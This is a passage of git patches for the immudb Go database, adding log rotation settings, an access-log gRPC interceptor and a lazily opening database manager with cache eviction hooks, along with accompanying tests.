7c601a3443..3abd952671 100644 --- a/embedded/logger/logger.go +++ b/embedded/logger/logger.go @@ -35,6 +35,11 @@ var ( } ) +const ( + LogFileFormat = time.RFC3339 + logRotationAgeMin = time.Minute +) + // LogLevel ... type LogLevel int8 @@ -93,22 +98,46 @@ type ( // The format in which logs will be formatted. (eg: text/json) LogFormat string + // The directory logs will be stored to. + LogDir string + // The file to write to. LogFile string + + // The time format of different log segments. + LogFileTimeFormat string + + // The maximum size a log segment can reach before being rotated. + LogRotationSize int + + // The maximum duration (age) of a log segment before it is rotated. + LogRotationAge time.Duration } ) // NewLogger is a factory for selecting a logger based on options func NewLogger(opts *Options) (logger Logger, err error) { + out := opts.Output + if out == nil { + out = os.Stderr + } + + if opts.LogFile != "" { + w, err := createLogFileWriter(opts) + if err != nil { + return nil, err + } + out = w + } + switch opts.LogFormat { case LogFormatJSON: - return NewJSONLogger(opts) + optsCopy := *opts + optsCopy.Output = out + + return NewJSONLogger(&optsCopy) case LogFormatText: - if opts.LogFile != "" { - logger, _, err = NewFileLogger(opts.Name, opts.LogFile) - return logger, err - } - return NewSimpleLogger(opts.Name, defaultOutput), nil + return NewSimpleLogger(opts.Name, out), nil default: return nil, ErrInvalidLoggerType } diff --git a/embedded/logger/logger_test.go b/embedded/logger/logger_test.go index f7cd0217dd..355e6d3cb2 100644 --- a/embedded/logger/logger_test.go +++ b/embedded/logger/logger_test.go @@ -72,44 +72,37 @@ func TestNewLogger(t *testing.T) { } func TestNewLoggerWithFile(t *testing.T) { - type args struct { - opts *Options - } tests := []struct { name string - args args + opts *Options wantLoggerType Logger wantErr bool }{ { name: "with json logger", - args: args{ - opts: &Options{ - Name: "foo", - LogFormat: "json", - LogFile: filepath.Join(t.TempDir(), "log_json.log"), - }, + opts: &Options{ + Name: "foo", + LogFormat: "json", + LogFile: filepath.Join(t.TempDir(), "log_json.log"), }, wantLoggerType: &JsonLogger{}, wantErr: false, }, { name: "with text logger", - args: args{ - opts: &Options{ - Name: "foo", - LogFormat: LogFormatText, - LogFile: filepath.Join(t.TempDir(), "log_text.log"), - }, + opts: &Options{ + Name: "foo", + LogFormat: LogFormatText, + LogFile: filepath.Join(t.TempDir(), "log_text.log"), }, - wantLoggerType: &FileLogger{}, + wantLoggerType: &SimpleLogger{}, wantErr: false, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - gotLogger, err := NewLogger(tt.args.opts) - defer os.RemoveAll(tt.args.opts.LogFile) + gotLogger, err := NewLogger(tt.opts) + defer os.RemoveAll(tt.opts.LogFile) if (err != nil) != tt.wantErr { t.Errorf("NewLogger() error = %v, wantErr %v", err, tt.wantErr) return diff --git a/embedded/logger/simple.go b/embedded/logger/simple.go index 0ed57bca6b..ca75fd1166 100644 --- a/embedded/logger/simple.go +++ b/embedded/logger/simple.go @@ -23,6 +23,7 @@ import ( // SimpleLogger ... type SimpleLogger struct { + Out io.Writer Logger *log.Logger LogLevel LogLevel } @@ -30,6 +31,7 @@ type SimpleLogger struct { // NewSimpleLogger ... func NewSimpleLogger(name string, out io.Writer) Logger { return &SimpleLogger{ + Out: out, Logger: log.New(out, name+" ", log.LstdFlags), LogLevel: LogLevelFromEnvironment(), } @@ -73,5 +75,8 @@ func (l *SimpleLogger) Debugf(f string, v ...interface{}) { // Close the logger ... func (l *SimpleLogger) Close() error { + if wc, ok := l.Out.(io.Closer); ok { + return wc.Close() + } return nil } diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index ab01efbb5a..e0d88bb783 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -70,8 +70,7 @@ func setupTestServerAndClient(t *testing.T) (*servertest.BufconnServer, ic.ImmuC WithDir(filepath.Join(t.TempDir(), "data")). WithAuth(true). WithLogRequestMetadata(true). - WithSigningKey("./../../test/signer/ec1.key"), - ) + WithSigningKey("./../../test/signer/ec1.key")) bs.Start() t.Cleanup(func() { bs.Stop() }) diff --git a/pkg/server/access_log_interceptor.go b/pkg/server/access_log_interceptor.go new file mode 100644 index 0000000000..e0a77d57ef --- /dev/null +++ b/pkg/server/access_log_interceptor.go @@ -0,0 +1,48 @@ +package server + +import ( + "context" + "time" + + "google.golang.org/grpc" +) + +func (s *ImmuServer) AccessLogStreamInterceptor(srv interface{}, ss grpc.ServerStream, info *grpc.StreamServerInfo, handler grpc.StreamHandler) error { + start := time.Now() + + err := handler(srv, ss) + + _ = s.logAccess(ss.Context(), info.FullMethod, time.Since(start), err) + return err +} + +func (s *ImmuServer) AccessLogInterceptor(ctx context.Context, req interface{}, info *grpc.UnaryServerInfo, handler grpc.UnaryHandler) (interface{}, error) { + start := time.Now() + + res, err := handler(ctx, req) + + _ = s.logAccess(ctx, info.FullMethod, time.Since(start), err) + return res, err +} + +func (s *ImmuServer) logAccess(ctx context.Context, method string, rpcDuration time.Duration, rpcErr error) error { + if !s.Options.LogAccess { + return nil + } + + var username string + + _, user, err := s.getLoggedInUserdataFromCtx(ctx) + if err == nil { + username = user.Username + } + + ip := ipAddrFromContext(ctx) + + if rpcErr == nil { + s.Logger.Infof("user=%s,ip=%s,method=%s,duration=%s", username, ip, method, rpcDuration.String()) + } else { + s.Logger.Infof("user=%s,ip=%s,method=%s,duration=%s,error=%s", username, ip, method, rpcDuration.String(), rpcErr) + } + return nil +} diff --git a/pkg/server/access_log_interceptor_test.go b/pkg/server/access_log_interceptor_test.go new file mode 100644 index 0000000000..36a8036366 --- /dev/null +++ b/pkg/server/access_log_interceptor_test.go @@ -0,0 +1,68 @@ +package server + +import ( + "context" + "fmt" + "net" + "testing" + + "github.com/codenotary/immudb/pkg/auth" + "github.com/stretchr/testify/require" + "google.golang.org/grpc" + "google.golang.org/grpc/peer" +) + +func TestAccessLogInterceptors(t *testing.T) { + opts := DefaultOptions(). + WithDir(t.TempDir()). + WithLogAccess(true). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword) + + s := DefaultServer().WithOptions(opts).(*ImmuServer) + defer s.CloseDatabases() + + logger := &mockLogger{captureLogs: true} + s.WithLogger(logger) + + err := s.Initialize() + require.NoError(t, err) + + ctx := peer.NewContext(context.Background(), &peer.Peer{Addr: &net.IPAddr{IP: net.IPv4(192, 168, 1, 1)}}) + + t.Run("unary interceptor", func(t *testing.T) { + called := false + _, err := s.AccessLogInterceptor(ctx, nil, &grpc.UnaryServerInfo{FullMethod: "testMethod"}, func(ctx context.Context, req interface{}) (interface{}, error) { + called = true + return nil, nil + }) + require.NoError(t, err) + + require.True(t, called) + require.NotEmpty(t, logger.logs) + + lastLine := logger.logs[len(logger.logs)-1] + require.Contains(t, lastLine, "ip=192.168.1.1") + require.Contains(t, lastLine, "user=,") + require.Contains(t, lastLine, "method=testMethod") + require.NotContains(t, lastLine, "error=") + }) + + t.Run("streaming interceptor", func(t *testing.T) { + called := false + err := s.AccessLogStreamInterceptor(nil, &mockServerStream{ctx: ctx}, &grpc.StreamServerInfo{FullMethod: "testMethod"}, func(srv interface{}, stream grpc.ServerStream) error { + called = true + return fmt.Errorf("test error") + }) + require.Error(t, err) + + require.True(t, called) + require.NotEmpty(t, logger.logs) + + lastLine := logger.logs[len(logger.logs)-1] + require.Contains(t, lastLine, "ip=192.168.1.1") + require.Contains(t, lastLine, "user=,") + require.Contains(t, lastLine, "method=testMethod") + require.Contains(t, lastLine, "error=test error") + }) +} diff --git a/pkg/server/corruption_checker_test.go b/pkg/server/corruption_checker_test.go index 91f1b2f667..5382e08d96 100644 --- a/pkg/server/corruption_checker_test.go +++ b/pkg/server/corruption_checker_test.go @@ -380,7 +380,8 @@ func makeDB(dir string) *badger.DB { */ type mockLogger struct { - lines []string + captureLogs bool + logs []string } func (l *mockLogger) Errorf(f string, v ...interface{}) { @@ -402,8 +403,9 @@ func (l *mockLogger) Debugf(f string, v ...interface{}) { func (l *mockLogger) Close() error { return nil } func (l *mockLogger) log(level, f string, v ...interface{}) { - line := level + ": " + fmt.Sprintf(f, v...) - l.lines = append(l.lines, line) + if l.captureLogs { + l.logs = append(l.logs, level+": "+fmt.Sprintf(f, v...)) + } } /* diff --git a/pkg/server/options.go b/pkg/server/options.go index aba34cdb1b..9de03c97ba 100644 --- a/pkg/server/options.go +++ b/pkg/server/options.go @@ -22,6 +22,7 @@ import ( "net" "strconv" "strings" + "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/database" @@ -44,7 +45,11 @@ type Options struct { Port int Config string Pidfile string + LogDir string Logfile string + LogAccess bool + LogRotationSize int + LogRotationAge time.Duration AutoCert bool TLSConfig *tls.Config auth bool @@ -150,6 +155,8 @@ func DefaultOptions() *Options { GRPCReflectionServerEnabled: true, SwaggerUIEnabled: true, LogRequestMetadata: false, + LogDir: "immulog", + LogAccess: false, SharedIndexCacheSize: 1 << 27, // 128MB } } @@ -205,12 +212,36 @@ func (o *Options) WithPidfile(pidfile string) *Options { return o } +// WithLogDir sets LogDir +func (o *Options) WithLogDir(dir string) *Options { + o.LogDir = dir + return o +} + // WithLogfile sets logfile func (o *Options) WithLogfile(logfile string) *Options { o.Logfile = logfile return o } +// WithLogRotationSize sets the log rotation size +func (o *Options) WithLogRotationSize(size int) *Options { + o.LogRotationSize = size + return o +} + +// WithLogRotationAge sets the log rotation age +func (o *Options) WithLogRotationAge(age time.Duration) *Options { + o.LogRotationAge = age + return o +} + +// WithLogAccess sets the log rotation age +func (o *Options) WithLogAccess(enabled bool) *Options { + o.LogAccess = enabled + return o +} + func (o *Options) WithLogFormat(logFormat string) *Options { o.LogFormat = logFormat return o @@ -493,7 +524,6 @@ func (o *Options) WithPProf(pprof bool) *Options { func (o *Options) WithGRPCReflectionServerEnabled(enabled bool) *Options { o.GRPCReflectionServerEnabled = enabled - return o } diff --git a/pkg/server/request_metadata_interceptor.go b/pkg/server/request_metadata_interceptor.go index e9daa6e409..3c851e6bf5 100644 --- a/pkg/server/request_metadata_interceptor.go +++ b/pkg/server/request_metadata_interceptor.go @@ -71,7 +71,7 @@ func ipAddrFromContext(ctx context.Context) string { return "" } - addr := p.Addr.Network() + addr := p.Addr.String() i := strings.Index(addr, ":") if i < 0 { return addr diff --git a/pkg/server/server.go b/pkg/server/server.go index c9c4cf04e5..1a78c5d481 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -224,6 +224,7 @@ func (s *ImmuServer) Initialize() error { uis := []grpc.UnaryServerInterceptor{ ErrorMapper, // converts errors in gRPC ones. Need to be the first + s.AccessLogInterceptor, s.KeepAliveSessionInterceptor, uuidContext.UUIDContextSetter, grpc_prometheus.UnaryServerInterceptor, @@ -233,6 +234,7 @@ func (s *ImmuServer) Initialize() error { } sss := []grpc.StreamServerInterceptor{ ErrorMapperStream, // converts errors in gRPC ones. Need to be the first + s.AccessLogStreamInterceptor, s.KeepALiveSessionStreamInterceptor, uuidContext.UUIDStreamContextSetter, grpc_prometheus.StreamServerInterceptor, @@ -613,7 +615,8 @@ func (s *ImmuServer) loadUserDatabases(dataDir string, remoteStorage remotestora for _, f := range files { if !f.IsDir() || f.Name() == s.Options.GetSystemAdminDBName() || - f.Name() == s.Options.GetDefaultDBName() { + f.Name() == s.Options.GetDefaultDBName() || + f.Name() == s.Options.LogDir { continue } diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index 152c10ca11..683e8d4792 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2150,16 +2150,16 @@ func TestUserIsAlertedToExpiredCerts(t *testing.T) { s, stop := testServer(opts) defer stop() - mockLogger := &mockLogger{} + mockLogger := &mockLogger{captureLogs: true} s.WithLogger(mockLogger) s.checkTLSCerts() - require.GreaterOrEqual(t, len(mockLogger.lines), 4) - require.Contains(t, mockLogger.lines[0], "is expired") - require.Contains(t, mockLogger.lines[1], "is about to expire") - require.Contains(t, mockLogger.lines[2], "tls config contains an invalid certificate") - require.Contains(t, mockLogger.lines[3], "could not parse certificate") + require.GreaterOrEqual(t, len(mockLogger.logs), 4) + require.Contains(t, mockLogger.logs[0], "is expired") + require.Contains(t, mockLogger.logs[1], "is about to expire") + require.Contains(t, mockLogger.logs[2], "tls config contains an invalid certificate") + require.Contains(t, mockLogger.logs[3], "could not parse certificate") } func makeCert(t *testing.T, dir, suffix string, expiration time.Duration) tls.Certificate { diff --git a/pkg/server/types.go b/pkg/server/types.go index 411a2a7596..19640ebcbf 100644 --- a/pkg/server/types.go +++ b/pkg/server/types.go @@ -49,8 +49,10 @@ type usernameToUserdataMap struct { } // defaultDbIndex systemdb should always be in index 0 -const defaultDbIndex = 0 -const sysDBIndex = math.MaxInt32 +const ( + defaultDbIndex = 0 + sysDBIndex = math.MaxInt32 +) // ImmuServer ... type ImmuServer struct { @@ -89,7 +91,7 @@ type ImmuServer struct { SessManager sessions.Manager } -// DefaultServer ... +// DefaultServer returns a new ImmuServer instance with all configuration options set to their default values. func DefaultServer() *ImmuServer { return &ImmuServer{ OS: immuos.NewStandardOS(), From d47d3ef0378df2dfe5161f097b6af40c1fa518af Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Mon, 16 Sep 2024 10:26:45 +0200 Subject: [PATCH 1051/1062] chore(pkg/database): implement database manager Databases are now opened and closed on demand, up to the MaxActiveDatabases limit, to reduce memory consumption when managing a large number of databases. Signed-off-by: Stefano Scafiti --- .../immudbcmdtest/immuServerMock_test.go | 2 +- cmd/immudb/command/init.go | 3 +- cmd/immudb/command/parse_options.go | 5 +- embedded/cache/cache.go | 40 +- embedded/cache/cache_test.go | 56 ++ embedded/store/immustore.go | 84 +- embedded/store/indexer.go | 2 +- embedded/store/options.go | 8 - pkg/database/database.go | 35 +- pkg/database/database_test.go | 28 +- pkg/database/db_manager.go | 476 ++++++++++++ pkg/database/db_manager_test.go | 387 ++++++++++ pkg/database/dboptions.go | 4 +- pkg/database/dboptions_test.go | 8 +- pkg/database/document_database_test.go | 4 +- pkg/database/lazy_db.go | 724 ++++++++++++++++++ pkg/database/replica_test.go | 4 +- pkg/database/scan_test.go | 5 +- pkg/database/sql.go | 27 + pkg/database/truncator.go | 77 +- pkg/database/truncator_test.go | 37 +- pkg/database/types.go | 109 +-- pkg/integration/follower_replication_test.go | 8 +- pkg/replication/replicator.go | 1 - pkg/replication/replicator_test.go | 4 +- pkg/server/db_dummy_closed_test.go | 2 +- pkg/server/db_options.go | 12 +- pkg/server/metrics_funcs_test.go | 71 +- pkg/server/options.go | 9 +- pkg/server/remote_storage.go | 11 - pkg/server/remote_storage_test.go | 12 + pkg/server/server.go | 97 +-- pkg/server/server_test.go | 10 +- .../transactions/transactions_test.go | 2 +- pkg/server/truncator_test.go | 5 +- pkg/server/types.go | 16 +- pkg/server/types_test.go | 2 +- pkg/server/user_test.go | 5 +- pkg/truncator/truncator.go | 4 +- pkg/truncator/truncator_test.go | 18 +- 40 files changed, 2040 insertions(+), 374 deletions(-) create mode 100644 pkg/database/db_manager.go create mode 100644 pkg/database/db_manager_test.go create mode 100644 pkg/database/lazy_db.go diff --git a/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go b/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go index d77abd4297..809762983b 100644 --- a/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go +++ b/cmd/immudb/command/immudbcmdtest/immuServerMock_test.go @@ -55,7 +55,7 @@ func TestImmuServerMock(t *testing.T) { mock.WithStreamServiceFactory(ssf) require.Same(t, ssf, mock.Ssf) - list := database.NewDatabaseList() + list := database.NewDatabaseList(nil) mock.WithDbList(list) require.Same(t, list, mock.DbList) diff --git a/cmd/immudb/command/init.go b/cmd/immudb/command/init.go index 92f58c46f9..bf5e13dbea 100644 --- a/cmd/immudb/command/init.go +++ b/cmd/immudb/command/init.go @@ -44,7 +44,7 @@ func (cl *Commandline) setupFlags(cmd *cobra.Command, options *server.Options) { cmd.Flags().Bool("replication-allow-tx-discarding", options.ReplicationOptions.AllowTxDiscarding, "allow precommitted transactions to be discarded if the replica diverges from the primary") cmd.Flags().Bool("replication-skip-integrity-check", options.ReplicationOptions.SkipIntegrityCheck, "disable integrity check when reading data during replication") cmd.Flags().Bool("replication-wait-for-indexing", options.ReplicationOptions.WaitForIndexing, "wait for indexing to be up to date during replication") - cmd.Flags().Int("shared-index-cache-size", options.SharedIndexCacheSize, "size (in bytes) of shared index cache") + cmd.Flags().Int("max-active-databases", options.MaxActiveDatabases, "the maximum number of databases that can be active simultaneously") cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path are configs or $HOME. Default filename is immudb.toml)") cmd.Flags().String("pidfile", options.Pidfile, "pid path with filename e.g. /var/run/immudb.pid") @@ -162,6 +162,7 @@ func setupDefaults(options *server.Options) { viper.SetDefault("max-sessions", 100) viper.SetDefault("max-session-inactivity-time", 3*time.Minute) viper.SetDefault("max-session-age-time", 0) + viper.SetDefault("max-active-databases", options.MaxActiveDatabases) viper.SetDefault("session-timeout", 2*time.Minute) viper.SetDefault("sessions-guard-check-interval", 1*time.Minute) viper.SetDefault("logformat", logger.LogFormatText) diff --git a/cmd/immudb/command/parse_options.go b/cmd/immudb/command/parse_options.go index 63b6935ea0..27fdce637f 100644 --- a/cmd/immudb/command/parse_options.go +++ b/cmd/immudb/command/parse_options.go @@ -92,6 +92,8 @@ func parseOptions() (options *server.Options, err error) { swaggerUIEnabled := viper.GetBool("swaggerui") logRequestMetadata := viper.GetBool("log-request-metadata") + maxActiveDatabases := viper.GetInt("max-active-databases") + s3Storage := viper.GetBool("s3-storage") s3RoleEnabled := viper.GetBool("s3-role-enabled") s3Role := viper.GetString("s3-role") @@ -165,7 +167,8 @@ func parseOptions() (options *server.Options, err error) { WithLogFormat(logFormat). WithSwaggerUIEnabled(swaggerUIEnabled). WithGRPCReflectionServerEnabled(grpcReflectionServerEnabled). - WithLogRequestMetadata(logRequestMetadata) + WithLogRequestMetadata(logRequestMetadata). + WithMaxActiveDatabases(maxActiveDatabases) return options, nil } diff --git a/embedded/cache/cache.go b/embedded/cache/cache.go index 7e86a473b6..76bde5c26d 100644 --- a/embedded/cache/cache.go +++ b/embedded/cache/cache.go @@ -28,8 +28,12 @@ var ( ErrIllegalArguments = errors.New("illegal arguments") ErrKeyNotFound = errors.New("key not found") ErrIllegalState = errors.New("illegal state") + ErrCannotEvictItem = errors.New("cannot find an item to evict") ) +type EvictFilterFunc func(key interface{}, value interface{}) bool +type EvictCallbackFunc func(key, value interface{}) + // Cache implements the SIEVE cache replacement policy. type Cache struct { data map[interface{}]*entry @@ -40,6 +44,9 @@ type Cache struct { maxWeight int mutex sync.RWMutex + + canEvict EvictFilterFunc + onEvict EvictCallbackFunc } type entry struct { @@ -59,15 +66,34 @@ func NewCache(maxWeight int) (*Cache, error) { list: list.New(), weight: 0, maxWeight: maxWeight, + onEvict: nil, + canEvict: nil, }, nil } +func (c *Cache) SetCanEvict(canEvict EvictFilterFunc) { + c.mutex.Lock() + defer c.mutex.Unlock() + + c.canEvict = canEvict +} + +func (c *Cache) SetOnEvict(onEvict EvictCallbackFunc) { + c.mutex.Lock() + defer c.mutex.Unlock() + + c.onEvict = onEvict +} + func (c *Cache) Resize(newWeight int) { c.mutex.Lock() defer c.mutex.Unlock() for c.weight > newWeight { - _, entry, _ := c.evict() + key, entry, _ := c.evict() + if c.onEvict != nil { + c.onEvict(key, entry.value) + } c.weight -= entry.weight } @@ -133,6 +159,9 @@ func (c *Cache) evictWhileFull(weight int) (interface{}, interface{}, error) { rkey = evictedKey rvalue = entry.value + if c.onEvict != nil { + c.onEvict(rkey, rvalue) + } c.weight -= entry.weight } return rkey, rvalue, nil @@ -144,7 +173,7 @@ func (c *Cache) evict() (rkey interface{}, e *entry, err error) { } curr := c.hand - for { + for i := 0; i < 2*c.list.Len(); i++ { if curr == nil { curr = c.list.Back() } @@ -152,7 +181,7 @@ func (c *Cache) evict() (rkey interface{}, e *entry, err error) { key := curr.Value e := c.data[key] - if e.visited == 0 { + if e.visited == 0 && c.shouldEvict(key, e.value) { c.hand = curr.Prev() c.list.Remove(curr) @@ -164,6 +193,11 @@ func (c *Cache) evict() (rkey interface{}, e *entry, err error) { e.visited = 0 curr = curr.Prev() } + return nil, nil, ErrCannotEvictItem +} + +func (c *Cache) shouldEvict(key, value interface{}) bool { + return c.canEvict == nil || c.canEvict(key, value) } func (c *Cache) Get(key interface{}) (interface{}, error) { diff --git a/embedded/cache/cache_test.go b/embedded/cache/cache_test.go index 5b1f3593d2..9494bd33e2 100644 --- a/embedded/cache/cache_test.go +++ b/embedded/cache/cache_test.go @@ -394,5 +394,61 @@ func TestPutWeighted(t *testing.T) { require.Equal(t, 4, cache.Weight()) require.Equal(t, 1, cache.EntriesCount()) }) +} + +func TestOnEvict(t *testing.T) { + cache, err := NewCache(5) + require.NoError(t, err) + + var onEvictCalled int + cache.SetOnEvict(func(_, value interface{}) { + onEvictCalled++ + }) + + for i := 0; i < 5; i++ { + cache.Put(i, i) + } + require.Zero(t, onEvictCalled) + + _, _, err = cache.PutWeighted(6, 6, 3) + require.NoError(t, err) + + require.Equal(t, onEvictCalled, 3) + + _, _, err = cache.PutWeighted(7, 7, 2) + require.NoError(t, err) + require.Equal(t, onEvictCalled, 5) + + cache.Resize(0) + require.Equal(t, onEvictCalled, 7) +} +func TestCanEvict(t *testing.T) { + cache, err := NewCache(5) + require.NoError(t, err) + + for i := 0; i < 5; i++ { + _, _, err := cache.Put(i, i) + require.NoError(t, err) + } + + t.Run("cannot evict any item", func(t *testing.T) { + cache.SetCanEvict(func(_, _ interface{}) bool { + return false + }) + + _, _, err := cache.Put(6, 6) + require.ErrorIs(t, err, ErrCannotEvictItem) + }) + + t.Run("cannot evict any item", func(t *testing.T) { + keyToEvict := rand.Intn(5) + cache.SetCanEvict(func(key, _ interface{}) bool { + return key == keyToEvict + }) + + evictedKey, _, err := cache.Put(6, 6) + require.NoError(t, err) + require.Equal(t, evictedKey, keyToEvict) + }) } diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 648c66cff9..0874eac974 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -216,7 +216,7 @@ type ImmuStore struct { commitWHub *watchers.WatchersHub indexers map[[sha256.Size]byte]*indexer - nextIndexerID uint32 + nextIndexerID uint64 indexCache *cache.Cache memSemaphore *semaphore.Semaphore // used by indexers to control amount acquired of memory @@ -720,47 +720,52 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } if store.synced { - go func() { - for { - committedTxID := store.LastCommittedTxID() + go store.syncer() + } - // passive wait for one new transaction at least - store.inmemPrecommitWHub.WaitFor(context.Background(), committedTxID+1) + return store, nil +} - // TODO: waiting on earlier stages of transaction processing may also be possible - prevLatestPrecommitedTx := committedTxID + 1 +func (s *ImmuStore) syncer() { + for { + committedTxID := s.LastCommittedTxID() - // TODO: parametrize concurrency evaluation - for i := 0; i < 4; i++ { - // give some time for more transactions to be precommitted - time.Sleep(store.syncFrequency / 4) + // passive wait for one new transaction at least + err := s.inmemPrecommitWHub.WaitFor(context.Background(), committedTxID+1) + if errors.Is(err, watchers.ErrAlreadyClosed) { + return + } - latestPrecommitedTx := store.LastPrecommittedTxID() + // TODO: waiting on earlier stages of transaction processing may also be possible + prevLatestPrecommitedTx := committedTxID + 1 - if prevLatestPrecommitedTx == latestPrecommitedTx { - // avoid waiting if there are no new transactions - break - } + // TODO: parametrize concurrency evaluation + for i := 0; i < 4; i++ { + // give some time for more transactions to be precommitted + time.Sleep(s.syncFrequency / 4) - prevLatestPrecommitedTx = latestPrecommitedTx - } + latestPrecommitedTx := s.LastPrecommittedTxID() - // ensure durability - err := store.sync() - if errors.Is(err, ErrAlreadyClosed) || - errors.Is(err, multiapp.ErrAlreadyClosed) || - errors.Is(err, singleapp.ErrAlreadyClosed) || - errors.Is(err, watchers.ErrAlreadyClosed) { - return - } - if err != nil { - store.notify(Error, true, "%s: while syncing transactions", err) - } + if prevLatestPrecommitedTx == latestPrecommitedTx { + // avoid waiting if there are no new transactions + break } - }() - } - return store, nil + prevLatestPrecommitedTx = latestPrecommitedTx + } + + // ensure durability + err = s.sync() + if errors.Is(err, ErrAlreadyClosed) || + errors.Is(err, multiapp.ErrAlreadyClosed) || + errors.Is(err, singleapp.ErrAlreadyClosed) || + errors.Is(err, watchers.ErrAlreadyClosed) { + return + } + if err != nil { + s.notify(Error, true, "%s: while syncing transactions", err) + } + } } type NotificationType = int @@ -855,15 +860,11 @@ func (s *ImmuStore) InitIndexing(spec *IndexSpec) error { } if s.indexCache == nil { - if indexFactoryFunc := s.opts.IndexOpts.CacheFactory; indexFactoryFunc != nil { - s.indexCache = indexFactoryFunc() - } else { - c, err := cache.NewCache(s.opts.IndexOpts.CacheSize) - if err != nil { - return err - } - s.indexCache = c + c, err := cache.NewCache(s.opts.IndexOpts.CacheSize) + if err != nil { + return err } + s.indexCache = c } indexer, err := newIndexer(indexPath, s, s.opts) @@ -3292,7 +3293,6 @@ func (s *ImmuStore) Sync() error { if s.closed { return ErrAlreadyClosed } - return s.sync() } diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 71e4566e21..b33e68a1d5 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -106,7 +106,7 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) return nil, fmt.Errorf("%w: nil store", ErrIllegalArguments) } - id := atomic.AddUint32(&store.nextIndexerID, 1) + id := atomic.AddUint64(&store.nextIndexerID, 1) if id-1 > math.MaxUint16 { return nil, ErrMaxIndexersLimitExceeded } diff --git a/embedded/store/options.go b/embedded/store/options.go index a21261b902..f8fd51736c 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -206,9 +206,6 @@ type IndexOptions struct { // Maximum time waiting for more transactions to be committed and included into the same bulk BulkPreparationTimeout time.Duration - - // CacheFactory function - CacheFactory IndexCacheFactoryFunc } type AHTOptions struct { @@ -710,11 +707,6 @@ func (opts *IndexOptions) WithMaxGlobalBufferedDataSize(size int) *IndexOptions return opts } -func (opts *IndexOptions) WithCacheFactoryFunc(indexCacheFactory IndexCacheFactoryFunc) *IndexOptions { - opts.CacheFactory = indexCacheFactory - return opts -} - // AHTOptions func (opts *AHTOptions) WithWriteBufferSize(writeBufferSize int) *AHTOptions { diff --git a/pkg/database/database.go b/pkg/database/database.go index 21fea86b33..7b1229810a 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -118,6 +118,8 @@ type DB interface { VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) + CopySQLCatalog(ctx context.Context, txID uint64) (uint64, error) + ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) @@ -134,6 +136,10 @@ type DB interface { VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) + // Truncation + FindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error) + TruncateUptoTx(ctx context.Context, txID uint64) error + // Maintenance FlushIndex(req *schema.FlushIndexRequest) error CompactIndex() error @@ -381,7 +387,6 @@ func (d *db) FlushIndex(req *schema.FlushIndexRequest) error { if req == nil { return store.ErrIllegalArguments } - return d.st.FlushIndexes(req.CleanupPercentage, req.Synced) } @@ -1741,3 +1746,31 @@ func (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { return nil } + +func (d *db) FindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error) { + hdr, err := d.st.LastTxUntil(until) + if errors.Is(err, store.ErrTxNotFound) { + return nil, ErrRetentionPeriodNotReached + } + if err != nil { + return nil, err + } + + // look for the newst transaction with entries + for err == nil { + if hdr.NEntries > 0 { + break + } + + if ctx.Err() != nil { + return nil, err + } + + hdr, err = d.st.ReadTxHeader(hdr.ID-1, false, false) + } + return schema.TxHeaderToProto(hdr), nil +} + +func (d *db) TruncateUptoTx(_ context.Context, txID uint64) error { + return d.st.TruncateUptoTx(txID) +} diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index d932a6b5c0..1ce41a957f 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -58,7 +58,7 @@ var kvs = []*schema.KeyValue{ func makeDb(t *testing.T) *db { rootPath := t.TempDir() - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)) return makeDbWith(t, "db", options) @@ -144,7 +144,7 @@ func (h *dummyMultidbHandler) ExecPreparedStmts( } func TestDefaultDbCreation(t *testing.T) { - options := DefaultOption().WithDBRootPath(t.TempDir()) + options := DefaultOptions().WithDBRootPath(t.TempDir()) db, err := NewDB("mydb", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) @@ -168,7 +168,7 @@ func TestDefaultDbCreation(t *testing.T) { } func TestDbCreationInAlreadyExistentDirectories(t *testing.T) { - options := DefaultOption().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) + options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) err := os.MkdirAll(filepath.Join(options.GetDBRootPath(), "EdithPiaf"), os.ModePerm) require.NoError(t, err) @@ -178,14 +178,14 @@ func TestDbCreationInAlreadyExistentDirectories(t *testing.T) { } func TestDbCreationInInvalidDirectory(t *testing.T) { - options := DefaultOption().WithDBRootPath("/?") + options := DefaultOptions().WithDBRootPath("/?") _, err := NewDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.Error(t, 